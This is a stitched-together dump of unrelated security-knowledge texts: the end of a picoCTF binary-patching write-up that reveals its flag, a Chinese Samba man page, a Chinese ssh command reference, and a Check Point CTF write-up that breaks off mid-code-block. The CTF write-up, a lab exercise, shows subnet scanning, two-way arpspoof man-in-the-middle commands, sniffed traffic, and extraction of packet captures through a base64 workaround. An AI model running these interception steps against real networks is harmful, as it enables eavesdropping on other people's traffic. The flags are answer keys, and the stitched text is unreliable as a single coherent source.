root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3/v2# rasm2 'mov eax, 2653079950' | xxd -p -r | dd conv=notrunc of=be-quick-or-be-dead-3_patched bs=1 seek=$((0x828)) 5+0 records in 5+0 records out 5 bytes copied, 0.00637541 s, 0.8 kB/s ``` The result: ``` root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-3/v2# ./be-quick-or-be-dead-3_patched Be Quick Or Be Dead 3 ===================== Calculating key... Done calculating key Printing flag: picoCTF{dynamic_pr0gramming_ftw_b5c45645} ``` The flag: picoCTF{dynamic_pr0gramming_ftw_b5c45645}
sec-knowleage
.TH SAMBA 7 "26 Apr 2000" "samba 2.0.7" .PP .SH NAME samba - 为 UNIX 实现的 Windows SMB/CIFS 文件服务器 .PP .SH "SYNOPSIS 总览" \fBSamba\fP .PP .SH "DESCRIPTION 描述" .PP samba 套件是在 UNIX 系统上实现“服务器信息块”(通常简称 SMB) 协议的一组程序。这个协议有时也称为“通用互联网文件系统, LanManager 或 NetBIOS 协议”。 .PP .SH "COMPONENTS 组件" .PP samba 由几个部件组成。每个部件在一系列的文档中被描述。 强烈推荐你阅读这些 samba 本身和你用的那些部件的手册中的文档。 如果手册不够清晰,请向这个地址发送补丁或者错误报告:samba-bugs@samba.org .PP .IP .IP "\fBsmbd\fP" .br .br \fBsmbd\fP (8) 守护程序为 SMB 客户,例如 Windows 95/98,Windows NT, Windows for Workgroups 或者是 LanManager 提供文件和打印服务。 它的相应配置文件在 \fBsmb\&.conf (5)\fP 中描述。 .IP .IP "\fBnmbd\fP" .br .br \fBnmbd\fP (8) 守护程序提供 NetBIOS 名字服务和浏览支持。它的相应配置文件在 \fBsmb\&.conf (5)\fP 中描述。 .IP .IP "\fBsmbclient\fP" .br .br \fBsmbclient\fP (1) 程序实现了一种简单的类似 FTP 的客户端应用。 对于访问位于其它兼容服务器(如 NT)上的 SMB 共享资源非常有用, 同时它也可用于 UNIX 机器向任何 SMB 服务器(如运行 NT 的 PC 机)上的打印机 提交打印作业。 .IP .IP "\fBtestparm\fP" .br .br \fBtestparm (1)\fP 工具让你可以测试你的 \fBsmb\&.conf (5)\fP 配置文件。 .IP .IP "\fBtestprns\fP" .br .br \fBtestprns (1)\fP 工具可以测试你在 printcap 文件中定义好的打印机。 .IP .IP "\fBsmbstatus\fP" .br .br The \fBsmbstatus\fP (1) 工具用来列出当前在 \fBsmbd (8)\fP 服务器上的联接。 .IP .IP "\fBnmblookup\fP" .br .br the \fBnmblookup (1)\fP 工具用来向 UNIX 机器查询 NetBIOS 名字。 .IP .IP "\fBmake_smbcodepage\fP" .br .br \fBmake_smbcodepage (1)\fP 工具用来为你的 \fBsmbd (8)\fP 服务器建立 SMB 代码页定义文件。 .IP .IP "\fBsmbpasswd\fP" .br .br \fBsmbpasswd (8)\fP 工具用来在 samba 和 NT 服务器上改变 SMB 加密口令。 .IP .PP .SH "AVAILABILITY" 可用性 .PP samba 套件由 GNU 公共协议保护。在软件包的 COPYING 文件中 包含了一份协议的复本。你可以散布套件的拷贝,但请服从协议条款。 .PP samba 套件的最新版本可以通过位于 samba.org 的匿名 FTP 上的 目录获得,当然也可以在很多互联网上的镜像站点中获得。 .PP 你也能在 comp.protocols.smb 新闻组和 samba 的邮件列表 上找到相关的有用信息。在 samba 的 README 文件中给出了 加入邮件列表的详细资料。 .PP 如何你能用 WWW 浏览器的话,在 http://samba.org/samba/ 将会找到包括 samba 邮件列表的问题在内的非常多的有用信息。 .PP .SH "VERSION" 版本 .PP 这份手册是针对 samba 套件版本 2.0 的。 .PP .SH "CONTRIBUTIONS" 投稿 .PP 如果你想向 samba 计划投稿的话,建议你到 samba@samba.org 加入 samba 的邮件列表,详细介绍请看在 http://samba.org/listproc 的网页。 .PP 如果你一个补丁需要提交或者要报告一个错误的话可以直接向 samba-bugs@samba.org 发信。注意,samba 开发组可以会因为 这个软件包的迅速流行而需要花费一定的时间来对邮件作出回应。 我们更愿意在 \fIdiff -u\fP 格式下修补问题。 .PP .SH "CREDITS" 荣誉 .PP 在此提及对计划作出贡献的人实在太多了,但是所有的 samba用户都应该感谢他们。要看一份完整的列表,查找 \fIftp://samba.org/pub/samba/alpha/cvs.log\fR 可以获得 CVS 修改前提供的一份维护者名单,并在 \fIftp://samba.org/pub/samba/alpha/cvs.log\fR 中找到变更后的内容。CVS 是 samba 开发组开发 samba 时采用的开放源代码控制系统,没有这个系统计划将无法管理。 .PP 另外,一些商业组织现在向 samba 开发组提供资金和设备上的帮助。详细信息请看网页 \fIhttp://samba.org/samba/samba-thanks.html\fR。 .PP .SH "AUTHOR" 作者 .PP samba 软件和相关工具最初由 Andrew Tridgell samba-bugs@samba.org 创建。 samba 现在由开发组以类似 Linux 内核开发采用的开源计划方式来发展。 .PP samba 手册页最初由 Karl Auer 撰写。它的源码已被转换成 YODL 格式(一种极好的开放源代码软件,可以在\fIftp://ftp.icce.rug.nl/pub/unix/\fR 处获得)并已由 Jeremy Allison 更新到 samba2.0 版本。 .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2000/12/08 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
ssh === openssh套件中的客户端连接工具 ## 补充说明 **ssh命令** 是openssh套件中的客户端连接工具,可以给予ssh加密协议实现安全的远程登录服务器。 ### 语法 ```shell ssh(选项)(参数) ``` ### 选项 ```shell -1:强制使用ssh协议版本1; -2:强制使用ssh协议版本2; -4:强制使用IPv4地址; -6:强制使用IPv6地址; -A:开启认证代理连接转发功能; -a:关闭认证代理连接转发功能; -b:使用本机指定地址作为对应连接的源ip地址; -C:请求压缩所有数据; -F:指定ssh指令的配置文件; -f:后台执行ssh指令; -g:允许远程主机连接主机的转发端口; -i:指定身份(私钥)文件; -l:指定连接远程服务器登录用户名; -N:不执行远程指令; -o:指定配置选项; -p:指定远程服务器上的端口; -q:静默模式; -X:开启X11转发功能; -x:关闭X11转发功能; -y:开启信任X11转发功能。 ``` ### 参数 * 远程主机:指定要连接的远程ssh服务器; * 指令:要在远程ssh服务器上执行的指令。 ### 实例 ```shell # ssh 用户名@远程服务器地址 ssh user1@172.24.210.101 # 指定端口 ssh -p 2211 root@140.206.185.170 # ssh 大家族 ssh -p 22 user@ip # 默认用户名为当前用户名,默认端口为 22 ssh-keygen # 为当前用户生成 ssh 公钥 + 私钥 ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys,之后可以免密登录 ``` 连接远程服务器 ```shell ssh username@remote_host ``` 连接远程服务器并指定端口 ```shell ssh -p port username@remote_host ``` 使用密钥文件连接远程服务器 ```shell ssh -i path/to/private_key username@remote_host ``` 在本地执行远程命令 ```shell ssh username@remote_host "command" ``` 在本地复制文件到远程服务器 ```shell scp path/to/local_file username@remote_host:/path/to/remote_directory ``` 在远程服务器复制文件到本地 ```shell scp username@remote_host:/path/to/remote_file path/to/local_directory ``` 在本地端口转发到远程服务器 ```shell ssh -L local_port:remote_host:remote_port username@remote_host ``` 在远程服务器端口转发到本地 ```shell ssh -R remote_port:local_host:local_port username@remote_host ``` ### 背后故事 > 英文:Tatu Ylonen > 编译:Linux中国/kenxx > 来源:https://linux.cn/article-8476-1.html 为什么 SSH(安全终端)的端口号是 22 呢,这不是一个巧合,这其中有个我(Tatu Ylonen,SSH 协议的设计者)未曾诉说的故事。 #### 将 SSH 协议端口号设为 22 的故事 1995 年春我编写了 SSH 协议的最初版本,那时候 telnet 和 FTP 正被广泛使用。 当时我设计 SSH 协议想着是为了替代 telnet(端口 23)和 ftp(端口21)两个协议的,而端口 22 是空闲的。我想当然地就选择了夹在 telnet 和 ftp 的端口中间的数字。我觉得端口号虽然是个小事但似乎又存在着某种信念。但我到底要怎么拿到那个端口号呢?我未曾拥有过任何一个端口号,但我却认识几个拥有端口号的人! 在那时取得端口号的事情其实说来挺简单的。毕竟当时的因特网(Internet)并不是很大,是因特网爆炸的早期。端口号分配的活儿是 IANA(Internet Assigned Numbers Authority,互联网数字分配机构)干的。在那时这机构可相当于是因特网先驱 [Jon Postel](https://en.wikipedia.org/wiki/Jon_Postel) 和 [Joyce K. Reynolds](https://en.wikipedia.org/wiki/Joyce_K._Reynolds) 一般的存在。Jon 参与编写了多项主要的协议标准,例如 IP(RFC 791)、ICMP(RFC 792)和 TCP(RFC 793)等一些你应该早有耳闻的协议。 我可以说是敬畏 Jon 先生的,他参与编写了几乎所有主要的因特网标准文档(Internet RFC)! 1995 年 7 月,就在我发布 ssh-1.0 前,我发送了一封邮件给 IANA: > From ylo Mon Jul 10 11:45:48 +0300 1995 > From: Tatu Ylonen > To: Internet Assigned Numbers Authority > Subject: 请求取得一个端口号 > Organization: 芬兰赫尔辛基理工大学 > > 亲爱的机构成员: > > 我写了个可以在不安全的网络环境中安全地从一台机器登录到另一台机器的程序。它主要是对现有的 telnet 协议以及 rlogin 协议的功能性提升和安全性改进。说的具体些,就是可以防御 IP、DNS > 或路由等欺骗行为。我打算将我的软件免费地发布在因特网上,以得到广泛地使用。 > > 我希望为该软件注册一个特权端口号,要是这个端口号在 1 到 255 > 之间就更好了,这样它就可以用在名字服务器的 WKS 字段中了。 > > 我在附件中附上了协议标准的草案。这个软件已经在本地运行了几个月了,我已准备在获得端口号后就发布。如果端口号分配一事安排的及时,我希望这周就将要发布的软件准备好。我目前在 beta 版测试时使用的端口号是 > 22,如果要是能够分配到这个端口,我就不用做什么更改了(目前这个端口在列表中还是空闲的)。 > > 软件中服务的名称叫 ssh(系 Secure Shell 的缩写)。 > > 您最真诚的, > Tatu Ylonen (LCTT 译注:DNS 协议中的 WKS 记录类型意即“众所周知的业务描述”,是类似于 A、MX 这样的 DNS 记录类型,用于描述某个 IP 所提供的服务,目前鲜见使用。参见: https://docs.oracle.com/cd/E19683-01/806-4077/dnsintro-154/index.html 。) 第二天,我就收到了 Joyce 发来的邮件: > Date: Mon, 10 Jul 1995 15:35:33 -0700 > From: jkrey@ISI.EDU > To: ylo@cs.hut.fi > Subject: 回复:请求取得一个端口号 > Cc: iana@ISI.EDU > Tatu, > 我们将端口号 22 分配给 ssh 服务了,你目前是该服务的主要联系人。 > Joyce 这就搞定了!SSH 的端口正式使用 22!!! 1995 年 7 月 12 日上午 2 点 21 分,我给我在赫尔辛基理工大学的测试者们宣布了 SSH 的最后 beta 版本。当日下午 5 点 23 分,我给测试者们宣布了 ssh-1.0.0 版本。1995 年 7 月 12 日,下午 5 点 51 分,我将一份 SSH(安全终端)的宣告发给了 cypherpunks@toad.com 的邮件列表,此外我还将其发给了一些新闻组、邮件列表和一些在因特网上讨论相关话题的人们。 #### 如何更改 SSH 服务的端口号 SSH 服务器是默认运行在 22 号端口上的。然而,由于某些原因需要,它也可以运行在别的端口上。比如为了方便测试使用,又比如在同一个宿主机上运行多个不同的配置。当然,极少情况下,不使用 root 权限运行它也可以,比如某些必须运行在非特权的端口的情况(端口号大于等于 1024)。 端口号可以在配置文件 /etc/ssh/sshd_config 中将 Port 22 更改。也可以使用 -p 选项运行 sshd。SSH 客户端和 sftp 程序也可以使用 -p 选项。 #### 配置 SSH 协议穿越防火墙 SSH 是少数通常被许可穿越防火墙的协议之一。通常的做法是不限制出站的 SSH 连接,尤其常见于一些较小的或者比较技术型的组织中,而入站的 SSH 连接通常会限制到一台或者是少数几台服务器上。 #### 出站的 SSH 连接 在防火墙中配置出站的 SSH 连接十分简单。如果完全限制了外发连接,那么只需要创建一个允许 TCP 端口 22 可以外发的规则即可。如果你想限制目标地址,你可以限制该规则仅允许访问你的组织放在云端的外部服务器或保护该云端的跳板服务器即可。 #### 反向通道是有风险的 其实不限制出站的 SSH 连接虽然是可以的,但是是存在风险的,SSH 协议是支持 通道访问 的。最初的想法是在外部服务器搭建一个 SSH 服务监听来自各处的连接,将进入的连接转发到组织,并让这个连接可以访问某个内部服务器。 在某些场景下这当然非常的方便。开发者和系统管理员经常使用它打开一个通道以便于他们可以远程访问,比如在家里或者在旅行中使用笔记本电脑等场景。 然而通常来讲这些做法是违背安全策略的,跳过了防火墙管理员和安全团队保护的控制无疑是违背安全策略的,比如这些: PCI、HIPAA、NIST SP 800-53 等。它可以被黑客和外国情报机构用来在组织内留下后门。 CryptoAuditor 是一款可以控制通道穿过防火墙或者一组云端服务器入口的产品。该款产品可以配合 通用 SSH 密钥管理器(Universal SSH Key Manager) 来获得对 主机密钥(host keys)的访问,以在启用防火墙并阻挡未授权转发的场景中解密 SSH 会话。 #### 入站的 SSH 访问 对于入站访问而言,这里有几点需要说一下: 配置防火墙,并转发所有去往 22 端口的连接只能流向到一个特定的内部网络 IP 地址或者一个 DMZ 主机。在该 IP 上运行 CryptoAuditor 或者跳板机来控制和审查所有访问该组织的连接。 在防火墙上使用不同的端口访问不同的服务器。 只允许使用 IPsec 协议这样的 VPN(虚拟专用网)登录后连接 SSH 服务。 #### 通过 iptables 服务限制 SSH 访问 iptables 是一款内建在 Linux 内核的宿主防火墙。通常配置用于保护服务器以防止被访问那些未明确开启的端口。 如果服务器上启用了 iptables,使用下面的命令将可以允许进入的 SSH 访问,当然命令需要以 root 身份运行。 ```shell iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT ``` 如果你想将上述命令创建的规则持久地保存,在某些系统版本中,可使用如下命令: ```shell service iptables save ```
sec-knowleage
# CS-hAcked Category: Networks, 60 Points ## Description >``` uuuuuuu > uu$$$$$$$$$$$uu > uu$$$$$$$$$$$$$$$$$uu > u$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$$$$$$$$$$$$$$$$$$$$u > u$$$$$$" "$$$" "$$$$$$u > "$$$$" u$u $$$$" > $$$u u$u u$$$ > $$$u u$$$u u$$$ > "$$$$uu$$$ $$$uu$$$$" > "$$$$$$$" "$$$$$$$" > u$$$$$$$u$$$$$$$u > u$"$"$"$"$"$"$u > uuu $$u$ $ $ $ $u$$ uuu > u$$$$ $$$$$u$u$u$$$ u$$$$ > $$$$$uu "$$$$$$$$$" uu$$$$$$ > u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$ > $$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$" > """ ""$$$$$$$$$$$uu ""$""" > uuuu ""$$$$$$$$$$uuu > u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$ > $$$$$$$$$$"""" ""$$$$$$$$$$$" > "$$$$$" ""$$$$"" > $$$" $$$$" > CS-hAcked > ``` > > Dear fellow, we've heard you've got some hacking skills - this is the time to use them ;) > > For some time now we've been investing great efforts to get a hold of an extremely dangerous hacking team network that goes by the name "CS-hAcked". > > According to our intelligence, we believe that on this network they transfer their secret combination - being used as a trigger to every major attack they commit. > > Recently we've come to a major breakthrough, successfully completing an operation to achieve remote control on one of the computers in the network. > > That's where you get into the picture. > > Your mission, should you choose to accept it, is to infiltrate their network using our implanted backdoor, and reveal once and for all the secret combination to finally get the secret flag. > > Thanks to our dedicated intelligence researchers we gathered the following information for you that might assist you: > > 1. We know the dictionary of words they've used over time. It's highly probable they'll use it for their current combination. > 2. Our backdoor PC credentials - IP: 3.126.154.76 , port:2222, username:csa, pass:123123 > 3. The flag server IP: 3.126.154.76 port: 80 > > And perhaps the following could help you as well: > * https://en.wikipedia.org/wiki/Man-in-the-middle_attack > * https://www.techrepublic.com/article/how-to-scan-for-ip-addresses-on-your-network-with-linux/ > * https://en.wikipedia.org/wiki/ARP_spoofing > > As always, should you or any of your members be caught or hacked, the secretary will disavow any knowledge of your actions. > > This page will self-destruct in few weeks. > > Good Luck! The following dictionary was attached: ``` development conference I environment about accept organization as collection at activity also although information able across area environmental actually administration ability a age act according commercial be particularly add away ``` ## Solution This challenge has many parts. Let's start. ### The SSH Server We start by connecting to the SSH server and searching around: ```console root@kali:/media/sf_CTFs/checkpoint/CS-hAcked# sshpass -p 123123 ssh csa@3.126.154.76 -p 2222 uuuuuuu uu$$$$$$$$$$$uu uu$$$$$$$$$$$$$$$$$uu u$$$$$$$$$$$$$$$$$$$$$u u$$$$$$$$$$$$$$$$$$$$$$$u u$$$$$$$$$$$$$$$$$$$$$$$$$u u$$$$$$$$$$$$$$$$$$$$$$$$$u u$$$$$$" "$$$" "$$$$$$u "$$$$" u$u $$$$" $$$u u$u u$$$ $$$u u$$$u u$$$ "$$$$uu$$$ $$$uu$$$$" "$$$$$$$" "$$$$$$$" u$$$$$$$u$$$$$$$u u$"$"$"$"$"$"$u uuu $$u$ $ $ $ $u$$ uuu u$$$$ $$$$$u$u$u$$$ u$$$$ $$$$$uu "$$$$$$$$$" uu$$$$$$ u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$ $$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$" """ ""$$$$$$$$$$$uu ""$""" uuuu ""$$$$$$$$$$uuu u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$ $$$$$$$$$$"""" ""$$$$$$$$$$$" "$$$$$" ""$$$$"" $$$" $$$$" ---------------------------------------- ---------------CS-hAcked---------------- ---------------------------------------- -bash: /usr/bin/groups: Permission denied -bash: /usr/bin/locale-check: Permission denied -bash: /usr/bin/mesg: Permission denied Great! let's go quick get the sequence before getting detected Goodluck! ``` This is a networking challenge, so let's take a look at network related properties, such as our IP addresses and MAC addresses. Commands such as `ifconfig` were blocked, but we can use: ```console csa@9fdd7bdc3e3f:~$ hostname -I 172.29.0.2 172.16.238.3 csa@9fdd7bdc3e3f:~$ cat /sys/class/net/eth0/address 02:42:ac:1d:00:02 csa@9fdd7bdc3e3f:~$ cat /sys/class/net/eth1/address 02:42:ac:10:ee:03 ``` We have two interfaces, let's scan for other IP addresses on our network like the hint told us to: ```console csa@9fdd7bdc3e3f:~$ nmap -sP 172.16.238.3/24 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-24 08:18 UTC Nmap scan report for 172.16.238.1 Host is up (0.00039s latency). Nmap scan report for ubuntu_server-in_1.ubuntu_local-net (172.16.238.2) Host is up (0.00022s latency). Nmap scan report for 9fdd7bdc3e3f (172.16.238.3) Host is up (0.00018s latency). Nmap scan report for ubuntu_client_1.ubuntu_local-net (172.16.238.4) Host is up (0.00015s latency). Nmap done: 256 IP addresses (4 hosts up) scanned in 15.72 seconds csa@9fdd7bdc3e3f:~$ nmap -sP 172.29.0.2/24 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-24 08:19 UTC Nmap scan report for 9fdd7bdc3e3f (172.29.0.2) Host is up (0.00012s latency). Nmap done: 256 IP addresses (1 host up) scanned in 3.01 seconds ``` So on one of the subnets, we have two additional hosts: * 172.16.238.2 * 172.16.238.4 Let's try to capture some network traffic on the interface: ```console csa@9fdd7bdc3e3f:~$ tcpdump -i eth1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes ``` Not much is happening. This is where ARP Spoofing comes in. (Note: When solving the challenge initially, there was actually lots of traffic on the network, which allowed skipping the following stage. In retrospective, this was due to other participants performing the ARP attack in parallel. Thanks to Idan for pointing this out!) We need to cause the traffic between 172.16.238.2 and 172.16.238.4 to pass through our interface (172.16.238.3, 02:42:ac:10:ee:03) so that we can sniff it. We do that by opening two new SSH session and using `arpspoof`. In the first session we tell 172.16.238.2 that 172.16.238.4 is at our MAC address: ```console csa@9fdd7bdc3e3f:~$ arpspoof -i eth1 -t 172.16.238.2 172.16.238.4 2:42:ac:10:ee:3 2:42:ac:10:ee:2 0806 42: arp reply 172.16.238.4 is-at 2:42:ac:10:ee:3 2:42:ac:10:ee:3 2:42:ac:10:ee:2 0806 42: arp reply 172.16.238.4 is-at 2:42:ac:10:ee:3 2:42:ac:10:ee:3 2:42:ac:10:ee:2 0806 42: arp reply 172.16.238.4 is-at 2:42:ac:10:ee:3 ``` In the second session we tell 172.16.238.4 that 172.16.238.2 is at our MAC address: ```console csa@9fdd7bdc3e3f:~$ arpspoof -i eth1 -t 172.16.238.4 172.16.238.2 2:42:ac:10:ee:3 2:42:ac:10:ee:4 0806 42: arp reply 172.16.238.2 is-at 2:42:ac:10:ee:3 2:42:ac:10:ee:3 2:42:ac:10:ee:4 0806 42: arp reply 172.16.238.2 is-at 2:42:ac:10:ee:3 2:42:ac:10:ee:3 2:42:ac:10:ee:4 0806 42: arp reply 172.16.238.2 is-at 2:42:ac:10:ee:3 ``` Now we'll be able to sniff the traffic between the two hosts, as it will pass through our interface. Now we can see lots of traffic: ```console csa@9fdd7bdc3e3f:~$ tcpdump -i eth1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes csa@9fdd7bdc3e3f:~$ tcpdump -i eth1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes 10:12:41.517331 ARP, Reply ubuntu_server-in_1.ubuntu_local-net is-at 02:42:ac:10:ee:03 (oui Unknown), length 28 10:12:41.996067 ARP, Reply ubuntu_client_1.ubuntu_local-net is-at 02:42:ac:10:ee:03 (oui Unknown), length 28 10:12:42.474327 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 33:35, ack 33, win 502, options [nop,nop,TS val 935457619 ecr 1302808559], length 2 10:12:42.474368 IP 9fdd7bdc3e3f > ubuntu_client_1.ubuntu_local-net: ICMP redirect ubuntu_server-in_1.ubuntu_local-net to host ubuntu_server-in_1.ubuntu_local-net, length 62 10:12:42.474373 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 33:35, ack 33, win 502, options [nop,nop,TS val 935457619 ecr 1302808559], length 2 10:12:42.474413 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 35, win 510, options [nop,nop,TS val 1302809560 ecr 935457619], length 0 10:12:42.474424 IP 9fdd7bdc3e3f > ubuntu_server-in_1.ubuntu_local-net: ICMP redirect ubuntu_client_1.ubuntu_local-net to host ubuntu_client_1.ubuntu_local-net, length 60 10:12:42.474453 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 35, win 510, options [nop,nop,TS val 1302809560 ecr 935457619], length 0 10:12:43.475581 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 35:49, ack 33, win 502, options [nop,nop,TS val 935458620 ecr 1302809560], length 14 10:12:43.475610 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 35:49, ack 33, win 502, options [nop,nop,TS val 935458620 ecr 1302809560], length 14 10:12:43.475634 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 49, win 510, options [nop,nop,TS val 1302810561 ecr 935458620], length 0 10:12:43.475651 IP 9fdd7bdc3e3f > ubuntu_server-in_1.ubuntu_local-net: ICMP redirect ubuntu_client_1.ubuntu_local-net to host ubuntu_client_1.ubuntu_local-net, length 60 10:12:43.475655 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 49, win 510, options [nop,nop,TS val 1302810561 ecr 935458620], length 0 10:12:43.517495 ARP, Reply ubuntu_server-in_1.ubuntu_local-net is-at 02:42:ac:10:ee:03 (oui Unknown), length 28 10:12:43.996290 ARP, Reply ubuntu_client_1.ubuntu_local-net is-at 02:42:ac:10:ee:03 (oui Unknown), length 28 10:12:44.476780 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 49:55, ack 33, win 502, options [nop,nop,TS val 935459622 ecr 1302810561], length 6 10:12:44.476808 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 49:55, ack 33, win 502, options [nop,nop,TS val 935459622 ecr 1302810561], length 6 10:12:44.476832 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 55, win 510, options [nop,nop,TS val 1302811563 ecr 935459622], length 0 10:12:44.476850 IP 9fdd7bdc3e3f > ubuntu_server-in_1.ubuntu_local-net: ICMP redirect ubuntu_client_1.ubuntu_local-net to host ubuntu_client_1.ubuntu_local-net, length 60 10:12:44.476853 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 55, win 510, options [nop,nop,TS val 1302811563 ecr 935459622], length 0 10:12:45.477969 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 55:62, ack 33, win 502, options [nop,nop,TS val 935460623 ecr 1302811563], length 7 10:12:45.477995 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 55:62, ack 33, win 502, options [nop,nop,TS val 935460623 ecr 1302811563], length 7 10:12:45.478019 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 62, win 510, options [nop,nop,TS val 1302812564 ecr 935460623], length 0 10:12:45.478035 IP 9fdd7bdc3e3f > ubuntu_server-in_1.ubuntu_local-net: ICMP redirect ubuntu_client_1.ubuntu_local-net to host ubuntu_client_1.ubuntu_local-net, length 60 10:12:45.478040 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 62, win 510, options [nop,nop,TS val 1302812564 ecr 935460623], length 0 10:12:45.517663 ARP, Reply ubuntu_server-in_1.ubuntu_local-net is-at 02:42:ac:10:ee:03 (oui Unknown), length 28 10:12:45.996485 ARP, Reply ubuntu_client_1.ubuntu_local-net is-at 02:42:ac:10:ee:03 (oui Unknown), length 28 10:12:46.479169 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 62:70, ack 33, win 502, options [nop,nop,TS val 935461624 ecr 1302812564], length 8 10:12:46.479199 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 62:70, ack 33, win 502, options [nop,nop,TS val 935461624 ecr 1302812564], length 8 10:12:46.479225 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 70, win 510, options [nop,nop,TS val 1302813565 ecr 935461624], length 0 10:12:46.479242 IP 9fdd7bdc3e3f > ubuntu_server-in_1.ubuntu_local-net: ICMP redirect ubuntu_client_1.ubuntu_local-net to host ubuntu_client_1.ubuntu_local-net, length 60 10:12:46.479247 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 70, win 510, options [nop,nop,TS val 1302813565 ecr 935461624], length 0 10:12:47.480374 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 70:80, ack 33, win 502, options [nop,nop,TS val 935462625 ecr 1302813565], length 10 10:12:47.480401 IP ubuntu_client_1.ubuntu_local-net.60802 > ubuntu_server-in_1.ubuntu_local-net.1337: Flags [P.], seq 70:80, ack 33, win 502, options [nop,nop,TS val 935462625 ecr 1302813565], length 10 10:12:47.480428 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 80, win 510, options [nop,nop,TS val 1302814566 ecr 935462625], length 0 10:12:47.480445 IP 9fdd7bdc3e3f > ubuntu_server-in_1.ubuntu_local-net: ICMP redirect ubuntu_client_1.ubuntu_local-net to host ubuntu_client_1.ubuntu_local-net, length 60 10:12:47.480453 IP ubuntu_server-in_1.ubuntu_local-net.1337 > ubuntu_client_1.ubuntu_local-net.60802: Flags [.], ack 80, win 510, options [nop,nop,TS val 1302814566 ecr 935462625], length 0 ``` For filtering and analysis, it's much more convenient to use a GUI application such as WireShark. There were two ways to accomplish this: 1. **Option #1**: Save the dump to a file and copy it from the remote host to a local host 1. First, we need a writable directory. The only writable directory on the remote host was `/dev/shm`. 2. We start `tcpdump` with a flag telling it to write the capture to the writable directory: `tcpdump -i any -w /dev/shm/my_dump.pcap` 3. After a while, we kill `tcpdump` with `CTRL-C`. 4. Now we need to transfer the dump to our local host. Both `base64` and `scp` were blocked, but it was possible to use a bash implementation of base64 (from [here](https://gist.github.com/markusfisch/2648733)) to base64-encode the file. 1. We download the script to our local host and call it `base64.sh` 2. We scroll to the bottom and replace `base64 "$@"` with `$MY_CMD | base64` 3. We invoke the script in the following way: `sshpass -p 123123 ssh csa@3.126.154.76 -p 2222 -q MY_CMD="cat\ /dev/shm/my_dump.pcap" 'bash -s' < base64.sh | base64 -d > my_dump.pcap` 4. The file will be saved locally 2. **Option #2**: Start an interactive session with WireShark 1. We can pipe the binary output of `tcpdump` to the input of WireShark using the following command line: `sshpass -p 123123 ssh csa@3.126.154.76 -p 2222 "tcpdump -i any -w -" | wireshark -k -i -` So what do we have? We have 172.16.238.4 opening a session with 172.16.238.2:1337 repeatedly. If we zoom into the sessions, we see that they all look like the following one: ```console 